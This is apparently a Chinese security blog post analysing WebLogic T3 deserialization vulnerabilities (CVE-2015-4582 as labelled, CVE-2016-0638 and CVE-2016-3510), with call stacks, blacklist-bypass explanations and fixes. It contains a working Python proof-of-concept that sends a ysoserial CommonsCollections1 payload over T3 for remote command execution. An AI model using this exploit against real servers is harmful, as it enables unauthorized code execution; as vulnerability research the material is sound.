XMLDecoder反序列化 前置知识:
XMLDecoder主要支持SAX和DOM解析标准XML,前者将数据解析为时间流,后者构建它的对象。
DOM在解析时会先构建成一棵树,并进行遍历解析,易受到性能问题的影响。而SAX解析则是线性时间的,XMLDecoder在解析时采用SAX解析规范 。
T3协议
下面进行抓包分析,先在服务器端部署jar包,里面是一个简单的demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 package examples.rmi.hello;import javax.naming.InitialContext;import java.rmi.RemoteException;public class HelloImpl implements IHello { private String name; public HelloImpl (String s) throws RemoteException { super (); name = s; } @Override public String sayHello () throws RemoteException { return "Hello World!" ; } public static void main (String[] args) throws Exception{ try { HelloImpl obj = new HelloImpl ("HelloServer" ); InitialContext ctx = new InitialContext (); ctx.bind("HelloServer" , obj); System.out.println("HelloImpl created and bound in the registry" + " to the name HelloServer" ); }catch (Exception e) { System.out.println("HelloImpl.main: an exception occurred: " ); System.out.println(e.getMessage()); throw e; } } }
这里注意部署目录默认时域服务器下的lib目录,也就是/u01/app/oracle/Domains/ExampleSilentWTDomain/lib/
客户端如下(需要配合wlthint3client.jar以支持t3协议)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 package examples.rmi.hello;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.util.Hashtable;public class HelloClient { public final static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory" ; public HelloClient () { } public static void main (String[] args) throws Exception { String host = "172.16.80.136" ; int port = 7001 ; try { InitialContext ic = getInitialContext("t3://" + host + ":" + port); IHello obj = (IHello) ic.lookup("HelloServer" ); System.out.println("Successfully connected to HelloServer on " + host + " at port " + port + ": " + obj.sayHello()); } catch (Exception ex) { System.err.println("An exception occurred: " + ex.getMessage()); throw ex; } } private static InitialContext getInitialContext (String url) throws NamingException { Hashtable<String, String> env = new Hashtable <String, String>(); env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env.put(Context.PROVIDER_URL, url); return new InitialContext (env); } }
这里利用wireshark进行抓包分析
可以看到之前也会有一个tcp建立连接的阶段,客户端与服务器端双方会发送各自的版本信息,我们基于此可以进行weblogic的版本探测利用。开头可以构造形式如
1 t3 10.3.6\nAS:255\nHL:19\nMS:10000000\n\n
这里可以看出T3协议由协议头包裹,且数据包中包含多个序列化的对象 。因此我们的利用原理就是构造恶意对象并封装到数据包中重新发送了,送上流程图
配置调试环境 利用工具 https://github.com/QAX-A-Team/WeblogicEnvironment
注意iptables设置 idea设置远程调试
CVE-2015-4582 POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from calendar import day_abbrfrom os import popenimport struct import subprocessfrom sys import stdoutimport socketimport reimport binasciidef generatePayload (gadget, cmd ): YSO_PATH = "D:\渗透\工具\利用\ysoserial-all.jar" popen = subprocess.Popen( ['java' , '-jar' , YSO_PATH, gadget, cmd], stdout=subprocess.PIPE) return popen.stdout.read()def T3Exploit (ip, port, payload ): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((ip, port)) handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" sock.sendall(handshake.encode()) data = sock.recv(1024 ) print (data) compile = re.compile ("HELO:(.*).0.false" ) match = compile .findall(data.decode()) if match: print ("Weblogic: " +"" .join(match)) else : print ("Not Weblogic" ) header = binascii.a2b_hex(b"00000000" ) t3header = binascii.a2b_hex( b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006" ) desflag = binascii.a2b_hex(b"fe010000" ) payload = header + t3header + desflag + payload payload = struct.pack(">I" , len (payload)) + payload[4 :] sock.send(payload)if __name__ == "__main__" : ip = "172.16.80.136" port = 7001 gadget = "CommonsCollections1" cmd = "touch /tmp/success" payload = generatePayload(gadget, cmd) T3Exploit(ip, port, payload)
这里存在一个问题就是刚开始发送版本探测包的时候并不能正常返回服务端版本信息,然而用wireshark抓包却可以抓到完整的版本信息。初步推测可能和操作系统版本有关
利用CC1进行反序列化利用最终在/tmp
目录下生成success文件
漏洞分析
序列化数据进入的函数入口在weblogic.rjvm.InboundMsgAbbrev#readObject()
,可以看到里面调用了InboundMsgAbbrev.ServerChannelInputStream#readObject()
进入该内部类,其继承于ObjectInputStream
类,并重写了resolveClass()
方法,但是可以看到,其中仍会调用父类的方法且未作过滤检验。该方法也是原生反序列化漏洞的触发点
关于resolveClass方法
从类序列化描述符获取类的Class对象。从类描述中获取到了全限定类名,然后利用反射根据全限定类名来获取到对应的 Class 对象并且进行返回。所以这里也是最好做防御的地方,检查一下该类的序列化描述符 中记录的类名是否在黑名单上,如果在黑名单上,直接抛出错误,不允许获取恶意的类的Class对象。这样以来,恶意类连生成Class对象的机会都没有
修复方案
打补丁的方式: 在resolveClass
方法中实现拦截
web代理的方式 :只转发HTTP请求,不会转发T3协议的请求
负载均衡方式: 与WEB代理类似,只接受HTTP请求的转发
CVE-2016-0638 绕过了resolveClass中黑名单限制
1 2 3 4 5 6 org.apache.commons.collections.functors* * com.sun.org.apache.xalan.internal.xsltc.trax* * javassist* * org.codehaus.groovy.runtime.ConvertedClosure org.codehaus.groovy.runtime.ConversionHandler org.codehaus.groovy.runtime.MethodClosure
利用类weblogic.jms.common.StreamMessageImpl
中的readExternal()
,该方法对输入流进行了二次反序列化
利用 https://github.com/5up3rc/weblogic_cmd
工具分析
com.supeream.Main#executeBlind()
获取参数,然后执行WebLogicOperation.blindExecute()
其中给命令赋值,并根据参数os来决定使用的系统命令,接下来进入SerialDataGenerator.serialBlindDatas()
首先会在SerialDataGenerator#blindExecutePayloadTransformerChain()
构建恶意反序列化对象,可以看到就是构建的CC1利用链
之后进入serialData()
,继续构造CC1链。之后进入BypassPayloadSelector.selectBypass()
这里可以看到我们熟悉的用来绕过黑名单的利用类streamMessageImpl,如果Main.TYPE参数未指明,那么默认就是streamMessageImpl。
同时,这里可以看到会先对payload对象进行一次序列化,并封装到streamMessageImpl的buffer属性数组当中
进一步,会再对streamMessageImpl对象进行一次序列化,形成最终的JAVA序列化数据
最终会在T3ProtocolOperation#send()
中将JAVA序列化数据拼接如T3协议数据中,与前面漏洞的构造原理一致
服务端部分分析
刚开始与之前的漏洞调用过程一致,也会进入InboundMsgAbbrev.ServerChannelInputStream()
由于我这里没有用的补丁调试,所以看不出黑名单的拦截过程。但是最终会通过到StreamMessageImpl#readExternal
,而不再走之前ServerChannelInputStream中readObject之后的路,后者设置了一系列黑名单拦截。而在StreamMessageImpl#readExternal()
中会进一步调用本身的readObject进行二次反序列化(也就是我们之前序列化时的buffer数组中的内容),最终触发CC1
整体调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 - readObject:331, AnnotationInvocationHandler (sun.reflect.annotation) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:57, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:601, Method (java.lang.reflect) invokeReadObject:1004, ObjectStreamClass (java.io) readSerialData:1891, ObjectInputStream (java.io) readOrdinaryObject:1796, ObjectInputStream (java.io) readObject0:1348, ObjectInputStream (java.io) readObject:370, ObjectInputStream (java.io) - readExternal:1419, StreamMessageImpl (weblogic.jms.common) readExternalData:1835, ObjectInputStream (java.io) readOrdinaryObject:1794, ObjectInputStream (java.io) readObject0:1348, ObjectInputStream (java.io) readObject:370, ObjectInputStream (java.io) readObject:66, InboundMsgAbbrev (weblogic.rjvm)
CVE-2016-3510 与CVE-2016-0638原理一致,都是基于黑名单的绕过。这里用的是weblogic.corba.utils.MarshalledObject
类
我们还是先看exp,其因为TYPE改成了marshall,所以会将payload(也就是恶意AnnotationInvocationHandler对象)作为参数传入marshalledObject方法。
跟入可以看到序列化的恶意payload会被写入objBytes成员变量中
反序列化分析
weblogic.corba.utils.MarshalledObject这个类没有实现readObject或者readExternal函数,所以在反序列化的时候采用ObjectInputStream的默认流程。但这个流程会调用辅助类ObjectStreamClass的invokeReadResolve函数 ,后者会调用MarshalledObject的readResolve函数 ,查看readResolve我们会发现,readResolve中有readObject的调用,而其参数正来自其本身的objBytes变量
调用链如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 readObject:331, AnnotationInvocationHandler (sun.reflect.annotation) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:57, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:601, Method (java.lang.reflect) invokeReadObject:1004, ObjectStreamClass (java.io) readSerialData:1891, ObjectInputStream (java.io) readOrdinaryObject:1796, ObjectInputStream (java.io) readObject0:1348, ObjectInputStream (java.io) readObject:370, ObjectInputStream (java.io) readResolve:58, MarshalledObject (weblogic.corba.utils) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:57, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:601, Method (java.lang.reflect) invokeReadResolve:1091, ObjectStreamClass (java.io) readOrdinaryObject:1805, ObjectInputStream (java.io) readObject0:1348, ObjectInputStream (java.io) readObject:370, ObjectInputStream (java.io) readObject:66, InboundMsgAbbrev (weblogic.rjvm)
参考链接 https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247485058&idx=1&sn=d22b310acf703a32d938a7087c8e8704
http://wjlshare.com/archives/1573
https://www.anquanke.com/post/id/226070#h2-15
https://xz.aliyun.com/t/10173
https://y4er.com/posts/weblogic-cve-2016-0638/#exp%E5%88%86%E6%9E%90
https://www.anquanke.com/post/id/224593